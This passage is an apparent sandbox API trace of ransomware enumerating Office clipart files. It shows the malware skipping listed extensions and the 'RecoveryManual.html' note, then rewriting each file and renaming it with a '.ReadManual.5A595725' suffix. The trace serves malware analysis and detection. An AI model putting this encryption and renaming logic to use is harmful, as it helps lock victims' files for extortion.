[0270.628] StrStrIW (lpFirst="NA01141_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.628] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.628] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.629] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.629] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" [0270.629] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.ReadManual.5A595725" [0270.629] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.ReadManual.5A595725") returned 87 [0270.629] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39129744225) returned 1 [0270.629] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf")) returned 0x20 [0270.629] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.629] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5848) returned 1 [0270.629] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d8, lpName=0x0) returned 0x184 [0270.629] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.630] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.630] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.632] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.632] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d8) returned 0x2f0000 [0270.632] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39130086357) returned 1 [0270.632] CloseHandle (hObject=0x184) returned 1 [0270.632] SetSecurityInfo () returned 0x57 [0270.632] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.632] CloseHandle (hObject=0x194) returned 1 [0270.632] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0270.632] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01148_.WMF" | out: lpString1="NA01148_.WMF") returned="NA01148_.WMF" [0270.633] lstrcmpiW (lpString1="NA01148_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.633] StrStrIW (lpFirst="NA01148_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.633] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.633] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.633] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" [0270.633] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.ReadManual.5A595725" [0270.633] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.ReadManual.5A595725") returned 87 [0270.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39130190026) returned 1 [0270.633] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf")) returned 0x20 [0270.633] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.634] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7992) returned 1 [0270.634] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f38, lpName=0x0) returned 0x184 [0270.634] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.635] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.635] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.637] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.637] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f38) returned 0x2f0000 [0270.637] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.637] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39130605941) returned 1 [0270.637] CloseHandle (hObject=0x184) returned 1 [0270.637] SetSecurityInfo () returned 0x57 [0270.638] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.638] CloseHandle (hObject=0x194) returned 1 [0270.638] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0270.638] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01149_.WMF" | out: lpString1="NA01149_.WMF") returned="NA01149_.WMF" [0270.638] lstrcmpiW (lpString1="NA01149_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.638] StrStrIW (lpFirst="NA01149_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.638] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.638] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.638] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" [0270.638] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.ReadManual.5A595725" [0270.638] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.ReadManual.5A595725") returned 87 [0270.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39130706375) returned 1 [0270.638] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf")) returned 0x20 [0270.639] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.639] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4680) returned 1 [0270.639] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1248, lpName=0x0) returned 0x184 [0270.640] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.640] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.640] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.642] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.642] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1248) returned 0x2f0000 [0270.642] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.642] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39131122523) returned 1 [0270.643] CloseHandle (hObject=0x184) returned 1 [0270.643] SetSecurityInfo () returned 0x57 [0270.643] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.643] CloseHandle (hObject=0x194) returned 1 [0270.643] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0270.643] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01152_.WMF" | out: lpString1="NA01152_.WMF") returned="NA01152_.WMF" [0270.643] lstrcmpiW (lpString1="NA01152_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.643] StrStrIW (lpFirst="NA01152_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.643] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.643] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.643] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" [0270.643] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.ReadManual.5A595725" [0270.643] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.ReadManual.5A595725") returned 87 [0270.643] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39131221424) returned 1 [0270.643] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf")) returned 0x20 [0270.644] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.644] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8752) returned 1 [0270.644] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2230, lpName=0x0) returned 0x184 [0270.644] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.645] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.645] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.647] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.647] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2230) returned 0x2f0000 [0270.647] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.647] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39131578230) returned 1 [0270.647] CloseHandle (hObject=0x184) returned 1 [0270.647] SetSecurityInfo () returned 0x57 [0270.647] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.647] CloseHandle (hObject=0x194) returned 1 [0270.647] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0270.647] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01154_.WMF" | out: lpString1="NA01154_.WMF") returned="NA01154_.WMF" [0270.647] lstrcmpiW (lpString1="NA01154_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.647] StrStrIW (lpFirst="NA01154_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.647] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.648] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.648] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" [0270.648] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.ReadManual.5A595725" [0270.648] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.ReadManual.5A595725") returned 87 [0270.648] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39131678171) returned 1 [0270.648] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf")) returned 0x20 [0270.648] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.649] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5552) returned 1 [0270.649] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b0, lpName=0x0) returned 0x184 [0270.649] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.650] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.650] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.652] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.652] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b0) returned 0x2f0000 [0270.652] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39132098085) returned 1 [0270.652] CloseHandle (hObject=0x184) returned 1 [0270.652] SetSecurityInfo () returned 0x57 [0270.652] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.652] CloseHandle (hObject=0x194) returned 1 [0270.653] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0270.653] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01157_.WMF" | out: lpString1="NA01157_.WMF") returned="NA01157_.WMF" [0270.653] lstrcmpiW (lpString1="NA01157_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.653] StrStrIW (lpFirst="NA01157_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.653] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.653] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.653] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" [0270.653] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program 